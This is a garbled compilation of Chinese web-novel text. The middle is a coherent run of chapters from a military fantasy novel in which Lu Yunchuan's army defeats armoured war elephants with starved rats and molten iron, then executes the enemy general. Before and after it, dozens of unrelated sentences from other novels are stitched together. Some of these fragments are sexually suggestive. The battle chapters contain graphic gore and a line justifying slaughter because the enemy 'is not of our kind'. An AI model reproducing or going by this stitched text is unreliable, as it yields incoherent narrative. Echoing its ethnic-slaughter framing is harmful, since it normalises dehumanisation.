这日陈秀兰拿了一盆月季来,这盆花她做了很久,也是刚做出来,就迫不及待想拿来给招儿她们看。 听到这,陈息远瞪大了眼睛,这叫什么话?他张了张嘴,想起叶楚的警告,却一声都不敢吭。 而且,他说的也没错,周围的人,确实都在用怪异的眼神打量她。 便是张羿的眼睛在秦凤仪颈间血线上停留片刻,看他那伤并无大碍,也便没有多言。 “这地方能从地府找到,也能从地府过来,只要没有湮灭就肯定找得到。湮灭了也没关系,我们把时间轴往前拨一下,回到现在不就行了?”谢茂觉得毫无压力。 她闪烁着亮晶晶的眸子,想要把他推开,却反被她握住了双手反背在身后。 男人琥珀色的眸子仿佛跳动着火苗,他弯着腰一点儿一点儿靠近她。 他目光沉沉,反复摩挲着那处咬痕,周围还带着一圈的青紫,还真像春宫图中,数次欢好过后,那留存在身上的糜艳迹痕。 田甜很想瞪雀羽一眼,但是她现在不敢抬头去看一眼,因为看了一眼之后,她怕自己的眼泪不争气地掉下来。 为什么老天爷这么喜欢跟他开玩笑,让他和阿妩分离了十几年,如今他们终于可以厮守了,却又让阿妩再次陷入险境。 染柒下意识地往肩上看,黎少爷还在那发脾气,闭着眼,看都不看她。 但是这时代没有有效的避孕措施,不是每一个男人都像萧景一样,愿意牺牲自身的福利。 这些事情,宁王虽然没有说出口过,但是宁王妃慧质兰心,一直都有所察觉。 紫极帝君墨瞳中流光一闪,他原本戴着的神器九龙夜莲紫极冠冕消失不见。 司空楠大叫,他知道,凭他的修为,想在九绝天王手中逃走,是办不到的,于是求饶起来。 她很早就知道,段肆戚听不进任何话,她说的任何话,现在被他看来,怕是都会被他以为是,为了救雷纳托而故意所为,眼看针头要碰到雷纳托的皮肤。 盛世沉吟,他知道不会这么简单,正在多事之秋,早不来晚不来,偏偏这个时候过来,除了挑事,还要做些什么呢? 他们从巨大的货物舱门走进去,里面是一片平坦的世界,一眼望到头就是另外一侧的钢板,周围摆放着一些巨大的机械手和起重装备,不用依安蒂的介绍,大家就这里是货舱。 第一次注册qq之后,云牧不知道从哪添加了一个名叫七七的网友。 这个年纪的妹子缺乏了一种杀伐果断,高富帅毕竟是她曾经重视过的男生,真要直接撕破脸老死不相往来,现阶段她还做不出这种事情。 雨露跟铭南两人在昨天就已经是接到了电话,今天一早的时间雨露就很是兴奋的拉着铭南在打扮了。 自从上次季娇娇车祸之后,她跟季振华就再也没有了联系。。。。 “享用他的祭品。”白蜘蛛挪动丰软的屁股,在古铁的胯间轻轻磨蹭。 更狠毒的则是任天堂以3000万美元的代价,获得了雅达利的“专利授权”,变相的承认了第二代家庭游戏主机的专利权,是雅达利独家所有。 “不可能吧,如果是,我们就发财了。赶紧把数据传给我。”战士好奇的说。 越吉大惊失色,抬头望去。空中,雷山礌石如雨,数百颗圆滚滚的鹅卵石在空中翻滚。山头上,数百匹战马栽着一架架并列成排的霹雳车。 云阳鞠躬行礼,绛雨跪倒在地,便是曷王、王后也一齐跪倒在地,不敢抬起头来,一刹那偌大的庭院中千余人齐齐拜倒。 难道这两个是同一个世界,是一个世界的两个位面。当时龙阳就有这方面的怀疑,如今更加确定自己的想法。一个世界不只有一个位面,会有多个,会只有两个,也许这就是一个二次元的世界。 第一百三十二章 射人先射马!擒贼先擒王 “雅木扎将军追至渡口,低估了对方战船的实力,一百骑兵被乱箭射杀,人头全……全被砍下,挂在了树上……” 斥候一五一十低头禀告。 “啪!” 兀良阙捏碎手中酒杯,一是心中愤怒,二是脸上羞愧。 眼前这个男子,真是让它恼火,三句不离“口臭”,要是真的口臭,自己特么为什么闻不到。 阿珂干净利落,直截了当砍掉了步天的脑袋,脑袋像皮球一般滚走。 要把兽元引出来而非逼出来,如果只有用灵兽的兽血和兽核,显然是不可能的,必然需要相应的宝物。 见此,云争拳头捏的咔咔爆响,眼中闪烁一抹狰狞,该死的混蛋,我妹妹,已经道歉了,为什么还要羞辱她,为什么? 一众主宰终于齐心协力,并且摒弃旁的心思的,朝着骁勇的一帮同伙出手了。 庞飞烟却是被吓了一大跳,因为她发现自己的细剑的耐久度已经降低到了一点,还有最后一下就要被打碎掉了。 而此时此刻,他距离云海城已很近了,天空中的修士不下百人,一时间议论声不断地响了起来。 只要是能突破到逆天阶九重巅峰,就连那传说中半神级强者使用的圣器都敢尝试。 通常风水师之间是不轻易开战的,一旦开战就是你死我活,斩草除根,毕竟谁知道三十年河东,三十年河西呢。 "这就是第三末世?"叶幻从地上爬了起来,自己一醒过来,周围全部都是焦黑一片,看起来这就应该是通天塔的第三末世了。 月夜有些不高兴,因为公冶浩淼不肯把那个玉如意给他玩。在见到宓子濯祭出玉如意的时候,月夜便看出这玉如意是个宝贝,又见被公冶浩淼云雾葫芦收取,便要去讨来玩玩,结果是直接被公冶浩淼拒绝。 罗辰打量一下四周的环境,和大千世界相类似,不过却不像大千世界能量稀薄,这充沛的能量让罗辰吸收一口气都神清气爽,也难怪休目世界的人都这么强大。 “砰!!”一声枪响,子弹在黑夜中划破空气,瞬间击中了那名手下的胸膛!那手下瞪大双眼,张了张嘴连话都没说出口,便因失血过多抽搐着直接丢了命。 虽然有很多男同学打心眼里也想体会下与老板娘喝交杯酒的滋味,不过方瑞茜去意很坚决,根本不给任何人继续开口的机会,转身便迈着灵活的脚步离开了包厢。 我坐在床上身子依着床头的靠背,表姐抱着我的一条胳膊脑袋趴在我的胸口上,现在她已经好的太多了,只是能看出她真的很累,趴在我的胸口上一动都不动,也不知道心里再想什么。 惊怒之间猛烈大吼,身后的魔神从那一道道门户内飞出来,注入他的体内。 “我自认跟你无怨无仇,你为何要费尽心机对付我?”将手中石块丢到一边,方思怡又紧跟着问出第二个问题。 然后等思清等人背影远在两百米之外,古力这才故作自然地转回方向,跟在思清等人后面,朝原路返回。 我想了一下说,当然是和上次一样在你洗澡的时候冲进洗澡间,看你下次害怕不害怕。想起上次在洗澡间看到表姐那曼妙的身材我身体忽然之间产生了一股燥热。 第一百三十三章 蛮牛冲撞! “兀良将军,五百头战牛已经全部喂饱,只等您一声令下了。” 夜,二更时分。 虽然各大反叛势力的剪除都冠名勾结黑暗魔界之罪,但却难堵悠悠众口的传播。这一点愚啸天到是听说过。 林玉琴坐在那里,一时之间,没有了声音,脑海里想着许梦玉说的可能性,离开林家,摆脱约束,找一个平凡的男人,相亲相爱,就这样的度过一生,这就是她想要么? 如果可以,她宁愿什么也没有看到,这个世界太疯狂了,不是么? 遵化城那座唯一被保留下来的城门洞开,无数边军战列在道路两旁,满脸不屑的看着京营整齐的队伍冲进遵化城摘桃子,朱大友就羞红的低下了脑袋,隐藏在大军之中跑进了遵化。 安良很清楚,一家娱乐型的公司,发展到了后面,就越是缺少人才,越是缺少可塑性人手。 突然,封印着魔人布欧的蛋“碰”的一声呗短笛轰飞了出去,“啪”的落在了地上。 据总结下来的数字,这一次从帝国之外来龙城的商人商队,人数已经超过三十万,再加上神龙帝国本来的商人,总数绝对超过五十万人,如此庞大的商队,送来的货物,早在一个月之前,就络绎不绝。 “放你出来也可以,不过观音菩萨交代贫僧一些事情,要先敲打敲打你,再给你戴上紧箍,便可放你出来。”唐曾说道。 “天亡我也!”三大家族的家主们同时仰天悲呼,一个个面如死灰,好不抵抗的便束手就擒。 必竟以刘青山的性格,泡妞什么的,还真没有学过,不主动,只能挂在那里,不知道什么时候才能达成心愿了,就连赵婉玉与李紫玉,也是主动在先的。 所以我第一反应就是那种骚扰来电什么的,话不多说,直接挂断,点击了上面的房产中介骚扰拦,然后拖进黑名单,端着饭菜出了厨房。 在刘辩眼里,禁卫的身体素质,侦查与反侦查能力,甚至长期跟随刘辩身边,耳濡目染之下,整体内容自然不比那些草包差。 随意翻动了几页教材,我实在是看不进心里,便掏出手机跟张星宇聊起了视频。 接下来的时间,我就在村子里四处晃悠,段磊则和杨富山慢条斯理的聊着一些工程上的细节,也不知道是心理原因还是怎么,越瞅这个老杨头,我越觉得丫哪哪都可疑。 那个梦境特别真实,真实到我现在闭上眼,还能看到那张脸上的纹路,还有那个皮球,我是第一次见到那个皮球,可不知道为什么,总觉得,很熟悉。 不过数个呼吸,直到战无不胜的西凉铁骑彻底没了气息,禁卫们这才停止手上的动作。 按照私交,我比任何人都希望他能好,然后我们像过去一样勾肩搭背的喝酒聊骚,可如果真实的关系来说,我不知道我又很质疑,我们真的能够重修于好。 “从窗外进来,你觉得可能吗?”高翔冷笑,这里可是三十楼,不是一楼,难道那些猫是飞进来的不成? 他的背后跟着一个全身黑衣的男子,细一看,这男子的眼珠子有一边纯白的,独眼龙的男人,瘦瘦的,似一根竹竿,两边的脸凹进去,皮包骨一样。 第一百三十四章 古代版步坦协同 蛮军进攻凉州的第二日,陆云川站在城楼之上。 细雨微微,凉风嗖嗖。 他手指轻轻摩挲着墙砖上那些深浅不一的箭痕,这些痕迹,都是蛮国几次攻城留下的见证。 城下的护城河已被清理干净,仿佛一切都未曾发生过。 “报!” “喝多了,影儿该更不高兴了。”齐煜无奈笑笑,他也喝了不少了。 杜子腾愣了愣,眼前这人他也觉得眼熟,但是就是想不起是谁。杜子腾有着收集各种内衣的癖好,那天晚上,看到夏琪阳台上的内衣心又痒痒了。于是顺着天然气管道爬了上去,刚刚取下内衣。 两人走在长长的走廊上,江若曦刚想开口,就看到江建民从对面走了过来,闭上了嘴,停止了挣扎。 “就是娘,我走了。”赵飞擦了擦眼圈的泪水。狠了狠心,推开了抱着自己的娘亲。李氏擦了擦眼泪,走到赵虎身边,然后从赵虎那里拿出一个钱袋子,塞到了赵飞的手里。 “放心吧,他被我救活了。我用师傅交给我的复活术,现在他是活蹦乱跳的。”倪莲巧道。 “你想多了,她们和你是不能比的。”庞杰怎么会不要她,他是怕她清醒了会后悔。 没有撑过半个呼吸的时间,叶枫的神念巨手就被摧毁,他的脑海就似被人重重轰了一拳,七窍中都喷出了血来。 叶虎嚣张的确有点本钱,不过很多人暗中对他还是很多不满,但是身为旁系,只要不太出众,实力平平的是不可能有长辈看中的。 奇怪的兵器和能量大手刚一接触,便化作了尘埃,彻底粉碎,这让大汉满心震惊,身子急速后退,可是他的身子刚刚升到空中,一股无形的力量陡然出现,竟然将整座虚空封印住,将他的身体封印在了半空之中。 “你曾经可否去过西池国,万一我们走错了道该怎么办?”千倾汐有些心生疑虑。 “那这里面是不是有一个叫赵欢的男人?”刘杰的话刚说完,蒋梅就迫不及待的问道。 问好声五花八门,但是叫法上都把两人喊成了一对儿。这让陈默凡有些头大。他到不在意从心理上给自己这位狐狸精姐姐一些安慰,但是现在怎么感觉自己陷进去就要出不来了呢? 只见杜明不知为何,突然的一声大喝,从他身上,冒出了一道青色光芒。 “是吗,这件事情一定要解释清楚,你过来,你叫什么名字?”他一连串的话语吐了出来。 “当然,无情四花,无情剑阵,剑剑无情,这个传言我还是听说过的,就是不知道是不是真的剑剑无情。”欧阳宇轩微笑的开口道。 从中阶玄者,迈向高阶玄者,要做的便是将那原本已经拓宽的九条玄脉,全部凝成一条。这个过程极为艰苦,修炼者本身要承受巨大的痛苦。 虽然还尚未解剖出天地灵气的玄奥之力,但感觉到自己体内的龙象剑气越来越精纯,这让他非常高兴。 “你不能这么想,世界上还是好人占了大多数。也许他只需要在这住一晚,我们这里正好有地方,何乐而不为呢?况且我们已经很久都不知道外面的事了。”瓦西卡耐心地说道。 总之,这几天的观察报告还是要写的。陈默凡这个年轻男人实在是太特殊了。就算不能决定什么,至少也要让上面知道有真么个厉害的人物存在。 第一百三十五章 攻防决战! 蛮军中军大帐。 兀良阙一口气狂饮三大坛烈酒,却怎么也想不通,一伙土匪出身的叛军,咋就这么难对付? 帐下七八名武将也都沉着脸色,连王牌战象营都无法攻克凉州城,军中士气难免有所下跌…… “将军,要不……将雍州剩下的五万步兵调来,与鹰族与狼族打声招呼?”有武将提议。 “绝对不行!” 兀良阙拍桌昂起头,当初他出师前曾夸下海口,若此刻求援,岂不是遭人笑话? 堂堂蛮国三大部落,草原上的猛虎,却奈何不了一群叛军? 这事若传回大都,那他率先攻入雍州的功劳可就荡然无存了! 报!将军!” 一名身裹虎皮袄,留着山羊胡的中年人跑进军帐,驯象师阿古茹,听其禀报:“战象全都被我找回来了!” “那有个屁用啊!” 兀良阙怒喝道:“战术已被敌人找到破解之法,岂能再用?” “将军勿要着急,原先是我疏忽了对象鼻的防范,才让那伙叛军找到了空子。” 山羊胡说道:“只要打造一批透气的护罩,套在象鼻之上,对方的雕虫小技便不足为惧!” “果真?!”兀良阙眼睛大亮。 “自然!”山羊胡自信道:“方才那一役,虽吓跑了象群,却并未对象造成丝毫损伤,换而言之,那群叛军根本毁不掉我们的铁甲防御! 这一次我们可拆掉象楼,只派五人一组,扛铁板上阵,再以象群为奠基石,迅速搭建铁板浮桥, 只要我虎族勇士能够顺利过河,何愁凉州城不破?” “好!便以你之计!” 兀良阙大喜,拔刀砍断案桌,目露凶狠: “这回,本将军要亲自上阵,与那群凉州狗决一死战!” …… 凉州城这边。 全城都在动员。 干什么呢? 抓老鼠! 且还是有偿。 半斤之下的老鼠,一文钱。 半斤之上的老鼠,两文钱。 于是便有家家户户,人手拎着几只老鼠,来到城头兑换铜钱的场景。 “当家的,你抓这么多耗子是干什么啊?” 城墙上,周大彪不解问道。 “自然是有大用处了。”陆云川笑道。 虽然花椒石灰可以驱逐象群,但终究是治标不治本,蛮国肯定还会派遣战象来攻城。 那么就必须找出一种能力克象群的办法。 小时候陆云川玩过一款“斗兽棋”,大象作为食物链最顶端的动物,只有老鼠才能克制得了它。 但大象与老鼠之间,是否存在着“天敌关系”?大象是否真的害怕老鼠?这个还有待考证…… 陆云川也是抱着试一试的态度,反正家家户户都有老鼠,抓捕这玩意儿又不需要耗费太大的精力。 “稍后传我命令,将搜集到的老鼠,每一千只装一口铁箱,不许给它们任何水食……记住了,一定要严加看管,别让它们将铁笼咬破了。” “明白了。” 老鼠的牙齿是很锋利的。 一只老鼠或许成不了什么气候,但若是数量多了起来——饿鼠出笼,威力无穷! 你蛮国有生物武器,我凉州城也有! 只要战术运用得当,千里之堤亦可溃于蚁穴! “当家的,您瞧,这‘飞爪’款式可还满意?” 吕铁捧着一只刚打造好的“铁爪”跑上城墙,并介绍道: “这款‘飞爪’,可适配重箭,爪尖还有倒钩,但凡有一点缝隙,便可以将其勾牢!” 陆云川接过飞爪把玩,“不错,不错……” 设计此款飞爪,自然是为了破甲。 敌方战象全身包裹铁甲,水火不侵,弓弩不穿,炸药不动,想要将其击溃,就必须先破掉其身上的护甲—— 用飞爪勾勒住甲胄缝隙,再施以力道将护甲扒开,只要战象皮肉暴露在外,将其斩杀那便轻而易举。 “很好,下去批量打造,至少要三百枚。” 陆云川吩咐着,又道:“还有,稍后在城头修建五座炉窑,将铁矿烧成铁水,未来敌人攻城时,我有大用处。” “明白!” 吕铁应声退下城墙。 “刘马。” “属下在!” “你即刻派人出城,将这三封信分别送去万马堂,白水涧,故人庄,务必要亲自交到赵猛,张三儿,崔世军手中。” 陆云川摸出三封书信递给刘马,叮嘱道:“记住了,一定小心敌方斥候,人在信在,人亡信毁。” “当家的放心!即便是死,我也不绝不会让信件流落到敌人手中!” 刘马揣好书信,抱拳退下城墙。 “大彪,你派传令兵通知其他几位将军,磨砺好刀锋,整顿好兵马,以烽火台为信号,转守为攻!” “哈哈!终于要主动出击了么?我手中的狼牙棒,早已饥渴难耐了!” …… 三日后,黎明前夕。 凉州城笼罩在一片诡异的寂静中。 “轰轰轰……” 大地震颤,尘土飞扬。 远方地平线上,三百头披甲战象排成战阵,再次卷土而来,鳞甲在朝阳晨曦下散发寒光。 不同于第一次,象鼻上套上了护罩,象背上撤掉了象楼,只留一名象夫外加五名蛮军士卒,两名士卒高举铁板,三名士卒竖着铁盾,在象背上围成一个“铁盒”。 而在象群之后,四万蛮兵扛着云梯,推着攻城车与浮桥,步兵掩护骑兵齐头并进,黑压压的一片望不到尽头。 "报!敌军距城五里!" 一声通报,凉州军士,严阵以待。 “看蛮子这回的架势,是打算跟咱们决一死战了!” 周大彪紧握手中的狼牙棒,不仅是他,每个守城士卒都绷着神经,紧盯着城下蛮军军阵,血肉磨坊,即将到来! “将老鼠抬上来。” 陆云川轻声发令。 不一会儿,士卒扛上来几十个鼠笼,依次在城墙上排列。 灰黑色的老鼠挤作一团,发出刺耳的"吱吱"声,饿了三天的它们,已经开始同类互食。 那就彻底疯狂吧! “战象营,准备!” “投石车,预备!” “虎族将士,大破凉州,就在今日!” 兀良阙骑在马背上,拔刀震天大吼: “冲锋!” “咚咚咚……” “杀啊!” 擂鼓与喊杀声骤起,攻防决战拉开序幕! 第一百三十六章 惨绝人寰! 火箭倾泻而下,巨石漫天飞舞! 厮杀与爆炸声响彻云霄! 铁甲战象冒着战火,再次涉足护城河,象背上的蛮国士卒,竖起铁板,配合后续跟进的盾兵,企图在河面上架起一座铁浮桥。 燃烧瓶与炸药被抛向护城河,“轰隆隆……”炸起一片血雾,撩起一阵硝烟! 浑身着火的蛮国士卒,在河中惨叫挣扎,一人沉入河底,另一人闷头补上! 血肉磨坊研磨了不到一刻钟,第一头铁甲战象在河岸登陆,背上的盾兵急忙跳下,缔结成小型盾阵,掩护战象向城门下靠近。 继而,一头接着一头的战象紧随其后,不消片刻,便已在河岸便形成了一条移动方向! 蛮军利用战象方向,加紧搭建浮桥,排头兵更是不要命,左手圆盾,右手弯刀,直接涉水渡河! 蛮人打仗,确实够硬! “打开鼠笼!” 守军将一只只鼠笼台上城壕,打开笼口的刹那,疯鼠飞窜而出,“吱吱吱……”犹如黑色冰雹,尖叫顺着墙体向下滑落。 数以万计,饿晕头的老鼠,见人便啃,见象便咬,一股黑潮席卷城下! 战象被惊得扬起前蹄,嘶吼声不断,战象群瞬间混乱! “原来大象真的怕老鼠……” 陆云川喃喃自语。 老鼠顺着象腿,往铁甲里钻,往象身上爬,啮齿如同剃刀,咬得战象脚步趔趄,撞倒踩死蛮军无数! “快,清理鼠群!” 象夫阿古茹,一边勒紧缰绳控制战象,一边朝象身下的蛮军士卒大吼。 蛮军士卒只能往后退,用兵器阻挠鼠群进攻,然而疯鼠敏捷,扑上人身便咬,一口便是一块皮肉! “钱无命,带弓弩手,干掉那群象夫!” 陆云川怒指象背上指挥作战的阿古茹。 钱无命拔出三支精铁箭矢,在城墙上一边奔跑,一边寻找角度! 三箭连射之下,阿古茹哀嚎坠亡! 其余弓弩手,也盯准了其余象夫,飞箭一波接着一波,被收割的象夫一个接着一个坠下象背。 失去指挥的战象乱作一团! 缔结的铁甲防线便有了缺口,守军加大投弹数量,弩箭如雨从缺口射向蛮军! 蛮军的浮桥,建了又炸,炸了又建,翻翻覆覆,死伤成百上千! "准备钩爪!" 城墙之上,百架特制重弩缓缓推出,箭头上装着精钢打造的倒钩,后面连着浸透桐油的麻绳! “对准战象腿部铁甲的缝隙!” "放!" "嗖嗖"的破空声中,钩爪如暴雨般倾泻而下! 最前排的五头战象腿部中招,倒刺深深扎入甲缝! "给老子拉!" 周大彪主动抓过绳索,号召士兵们齐声呐喊,百人一组拽动麻绳! 竟然还不一定能拽得动! “没吃饭么,都给老子使出吃奶得劲儿!” 一百人不行,两百人补上! 人象拔河,在战场上演! “咯咯咯……” 在令人牙酸的紧绷声中,五头战象的腿甲被硬生生拉开! “射象足!” 捆绑炸药的重弩,齐齐射向裸露在外的象足! “轰隆隆……” 爆炸与火光同起,象足被硬生生炸断,五头战象轰然栽倒在河道中央,溅起丈高的水花。 铁甲战象? 绝对防御? 眼下已是吹弹可破! 钩爪战术管用,战象一头一头跌倒! 但想要阻止象群,还需得致命一击! “铁水在哪儿!” “来了!来了!” 瓮城闸门突然在刺耳的齿轮声中升起,早已烧得通红的铁水顺着砌成的沟槽奔涌而出,在晨曦中泛着金红色的死亡光芒! "滋滋——" 铁水劈头盖脸,发出令人毛骨悚然的声响! 企图撞开城门的战象与蛮军士卒,发出与生俱来最痛苦的惨叫,“啊啊啊啊啊……” 直接掉进沸腾的铁水中,挣扎滚爬,身体发服全部被点燃,不消片刻便化作一缕青烟,烧得只剩下黑漆漆的骷髅。 惨!实在太惨! 惨得连陆云川都不忍直视,这种惨绝人寰的战术,今后还是少用为妙! 铁水浇灌所带来的视觉冲击与听觉冲击,宛如一记记重锤,狠狠敲在攻城士卒的心头! 战象怕了,人也怕了,纷纷开始往后撤退! “不许退!谁若后退,力斩不饶!” 兀良阙挥刀砍杀一名后撤的蛮军,大吼道:"给老子踩着象尸过河!" 战场上出现了惊心动魄的一幕—— 蛮兵们用铁钩拖拽着尚未断气的战象,将它们堆叠在河心! 焦黑的象尸上很快铺满了铁板,鲜血染红的浮桥不断向城墙延伸! 每一步前进,都伴随着滑倒士兵的惨叫! 每一次践踏,都伴随着铁甲战象的眼泪! 所有战术用到最后,都是用血肉攻城,蛮军搭上云梯,抱着门锤,前呼后继往前冲锋! "放檑木,别让他们上来了!" 周大彪声音已经嘶哑得不成样子。 城墙内侧,三十架绞盘同时转动,布满倒刺的千斤檑木拔高而起! 当最密集的蛮兵群冲到城下时,随着一阵令人牙酸的绳索断裂声,死亡巨轮轰然滚落! 蛮兵被檑木上的铁刺当胸穿透,身体被后续滚来的檑木碾成肉泥! 这场绞肉机般的攻防战,一直持续到了天黑,蛮军一连打了三次进攻,全被守军拒于城墙之下。 数以万计的尸体堆积成山,战场上弥漫着血肉焦糊,令人作呕的恶臭,蛮军残破的幡旗在风中摇曳,痛苦的哀嚎已沙哑到几乎麻木。 “给老子……给老子再攻!” 兀良阙在战马上呐喊。 一将功成万骨骷,可他却连第一道城门都未曾攻破,这个蛮国的天骄战将,注定会被钉在耻辱柱上。 “将军,不能再攻了!” “是啊,我军已死伤至不足两万,敌人势头正盛,应当迅速撤退!” 武将也不管兀良阙疯狂,拉住他的缰绳大吼:“撤!向雍州撤退!” “你们干什么!我没输!我还没输!” 兀良阙咬牙怒吼,他心里其实知道,这场攻防战他彻彻底底地输了,只是不肯接受这个事实。 嘴巴上虽叫嚣着再战,身体上却很诚实,他一边策马后退,一边冲城墙上叫嚣:“姓陆的,待我重振旗鼓,势必回来找你报仇!” “呵?” 陆云川冷冷一笑,转守为攻,时机已到,他振臂高呼: “燃烽火,开城门,全军出击!” 第一百三十七章 有仇当场必报! 凉州三万兵马,从三个方向杀出。 陆云川亲率一支出北门,刘伟摔一支出西门,陈世钊率一支出东门,宋康则留两万人守城。 三支军队呈三角阵型,向蛮军残部迅速收拢! 蛮军为了逃亡,减轻重量,丢盔弃甲,但经过一日鏖战的他们,早已疲惫不堪,特别是蛮军步兵,甚至活活给跑死在了平原上,跑不动的直接跪下投降。 蛮军逃亡到最后,兀良阙残部已不足三千人,个个都陷入了绝望。 “将军快看,那里有船!” 武将忽然指向河边停靠的三艘大船,“只要能登船,凉州军便追不到咱们了!” “快!快去将船给我躲下来!我们走水路回雍州!” 兀良阙仿佛看到了希望。 可是还未等他们靠近河边,战船中突然升起两面旗帜,一面大写着“凉”字,一面竖着“替天行道”四个大字。 张三儿吐掉嘴里的鸡骨头,一只脚踏上船头,大声冲岸边呼喊: “喂!蛮子们,大凉水师,早已等候多时!” “吼吼!” 三艘大船水兵,同时从船舷冒出,重弩被推到船边。 “放!” 强弓硬弩,乱箭齐发。 几轮箭雨扑下,又有数百人坠马而亡! “撤!快撤离河岸!” 兀良阙大骇,振臂呼喊,领残部向内陆转移,可未等跑出三里地,赵猛率领一万精兵,崔世军率三千民兵,分别从东西两侧,缔结出一道防线,拦住了兀良阙北上的退路。 陆云川亲率的三万凉州兵马也已滚滚而至。 夕阳如血,倾洒大地。 “随我……杀出一条血路!” 兀良阙挥舞战刀,朝相对薄弱的前线发起最后的冲锋! “蛮人非我族类,不必心慈手软。”陆云川淡淡说道。 “那就,杀个痛快!” 周大彪挥舞狼牙棒率军杀出。 五万凉军对阵几千残兵,自然是压倒性的屠杀。 天边的夕阳有多耀眼,平原上的鲜血便有多红。 被血侵染过的沃野,来年植被作物必定会更加丰盛。 两刻钟后,杀戮戛然而止。 蛮军砍死大半,投降小半,兀良阙被周大彪生擒活捉,押解至陆云川面前。 陆云川骑在马背上,居高临下凝视着满脸是血,且带着恐惧的兀良阙,轻叹道: “你说说你,五万兵马,就敢赚我凉州城,究竟是我被你小看了,还是你自己脑子太蠢?” “绕我……一命吧!” 兀良阙低头咬牙,“此次……确实是我轻敌了,你……的确是个枭雄!” “你该不会觉得拍我马屁就能苟全性命吧?”陆云川冷笑道。 “我们可以合作!” 兀良阙昂起头说道:“我看得出来,你很有野心!你肯定不会满足凉州这片弹丸之地!那么我们便有共同的利益了—— 雍凉路再往东进,便是永兴军路,只要攻破了那里,便可占领长安城! 那可是长安啊,可要比这贫瘠的雍凉富饶多了,你要是能占领那里,别说称王称霸了,就是登基称帝也顺理成章!” 陆云川眯了眯眼睛。 登基称帝这种事儿,连他都不敢轻易去想,一个蛮国将领竟然脱口而出? 果然,蛮国挑起这场战场,目的绝不是在为了劫掠,他们也想入主中原成就大统。 兀良阙见陆云川久久不说话,以为是被自己语言打动,赶忙又补充道: “如今我蛮国夺下了雍州,而陆城主又占据了凉州,倘若我两家联合,一同向永兴军发起进攻,夺下长安城岂非指日可待? 到那时,我们平分天下,岂不是两全其美?” “嗯……”陆云川抿着嘴唇,“还有吗?” “当然了,我蛮军此次入关,带甲三十万大军,像我这样的主将,没有一百也有八十,呵呵……杀我这样一个人,引来三十万大军的仇恨,陆城主肯定不会这么做的,对吧?” 兀良阙缓缓起身,竟陪起了笑脸。 陆云川也笑了,却笑得十分轻蔑,“兀良阙,你说你,要是战场上有这个脑子,又何至于今日惨败?” 兀良阙笑容凝固。 “你放心,我这人心胸宽阔,从来都不会记仇的。”陆云川笑道。 兀良阙紧绷的心再次松弛,“那城主的意思是……” “有仇当场必报!” 陆云川挥了挥手。 “贼将,花言巧语,蛊惑谁呢!受死!” 周大彪拔出佩刀,手起刀落,孤光一闪,兀良阙人头落地! “尸体抛去河里喂鱼,削首送回雍州城。” “是!” “回城。” 陆云川仰面夕阳,手轻轻一挥,率军凯旋而归。 …… “婉清姐,先生他回来啦!” 回到云清宫时,已是二更时分。 陆云川才刚进门,苏萍儿与李婉清便迎了出来,她们早已听到凉州捷报,在门口等候多时了。 也不怪她们激动,守城鏖战的这几日,陆云川都待在军营,没有回过一次家门。 “我的妈呀!” 苏萍儿才跨出门槛儿,由于夜太黑了,未能瞧见门口的“庞然大物”,被吓得一屁股坐在了地上。 是的,陆云川牵了一头大象回来,高莫约两丈半,站在门口便犹如一堵巨墙。 战象并未被全歼,只死伤了八十多头,剩下十来头全部被凉州军缴获。 今后凉州,也将有铁甲战象! 李婉清也被吓得不轻,躲在门框后不敢出来,抱怨看向陆云川,“你……你这是要闹哪样啊?” 陆云川竖起大拇指,傲然指了指身后大象,“你不是老抱怨宫殿太大,每回都要走好久的路么?我便带了它回来,今后咱们当宠物养,当坐骑用。” “亏你也想得出!它这般高,万一摔下来,不得长个包啊?” 李婉清脑壳甩得犹如拨浪鼓。 “它箭楼都驮得稳,更别说是坐人了,而且它很温顺。” 陆云川扯了扯缰绳,轻言一句:“坐!” 大象前脚跪地,俯首低眉。 “我要坐,我要坐!” 苏萍儿连跑带跳,踩着象身上的梯子,爬上了象背。 “连小姑娘都不怕,你怕什么?来来来……” “不要,我不要……” 李婉清扭头便要往王府里跑。 陆云川上前拉住她的手,轻轻一扯,拦腰捧在了怀里,继而转身两步便登上了象背,将缰绳轻轻一扯: “起!” 大象站起身来,往下面俯瞰,离地至少两丈半。 “它起来了!它起来了哟……”苏萍儿捧着脸蛋儿惊呼。 “站得更高,才能看得更远不是么?呵呵呵……” 陆云川轻轻拨开李婉清遮住双眼的玉手,大小美人儿,囊括怀中,轻抽缰绳。 “走!” 大象扬起鼻子,一声低吼啼鸣,慢步进入云清宫。 春月皎洁,映照三人。 “呼……” 一阵清风徐来,撩人青丝秀发,花香满人间。 此情此景,也算作浪漫。 …… 第一百三十八章 天时地利人和 兀良阙授首,蛮国势必震惊。 但也只能是震惊。 从兀良阙临死前的话可以听出,蛮国此次大举入关,是为了入主中原,那么他们最大的敌人仍然是大昭王朝。 直升机又追了一会儿,便出了那片松树林,前头又是广阔的平地。 “嘁——”劳拉被噎得够呛,也是,想动这丫头还真就没那么容易,她的鼻子不就是最好的证明。 “滚开!”她却发出了与她的形象毫不相符的声音,让那些男人产生了好奇之心,都想跃跃欲试。 在一声凄厉的惨呼中,烛九阴的阴气虚影,就消失于无形,而看看到了叶峰身后的阴气,也随之消散不见。 卫修的话令所有人愕然,谁都以为卫修突然冲出来是为了学生出头,谁也没想到卫修的目的竟然是为了对方打电话叫来的人? 他如此精心,慕雪灵忽然就有点着急了,这到底是真的,还是假的?为什么感觉好像是做梦一样? 而上官婉儿就在湖边站立着,她此刻已经褪下了披风,露出了她那一张绝美的容颜。 但是还好,菜花没有变,自己也没有变。这个世界上还是有值得自己关心和爱护的人的。 慕少琛的双眉微微皱起,俊美的五官上被蒙上了一层猜疑,刚才那令人反胃的声音从哪冒出来的? 解决好一桩心事的卫修,心中的一块大石终于落了下来。这块石头不仅是对谭筱筱的同情,其实还有突兀赚到巨款而感到的一丝不安。 她不确定,他是否在唤她。因为她以为,他该不想再看见她才对。 一脚油门踩下去,轮胎和地面摩擦出刺耳的声音,发动机的轰鸣好像一头野兽在咆哮。 什么内容?便是关于城南旅店老板的父亲,与李凡偶遇,并且推荐李凡到自家旅店住宿的內容。 之所以说是瘫倒,是因为这身影如若无骨,软绵绵地从门后飘了下来,落在了地上。 华丽的鎏金王座上,德古拉伯爵脸色凝重的看着自己妻子肩膀上的伤口,眉头紧皱,低沉的大气压在德古拉伯爵的周围环绕,压抑的气氛让整个古堡所有人大气都不敢喘一口,一个个胆战心惊。 果然,那传说中的汪太监进门作礼,垂首开口道“真个是陈老学士大驾光临……”声音正同雨化田一模一样。 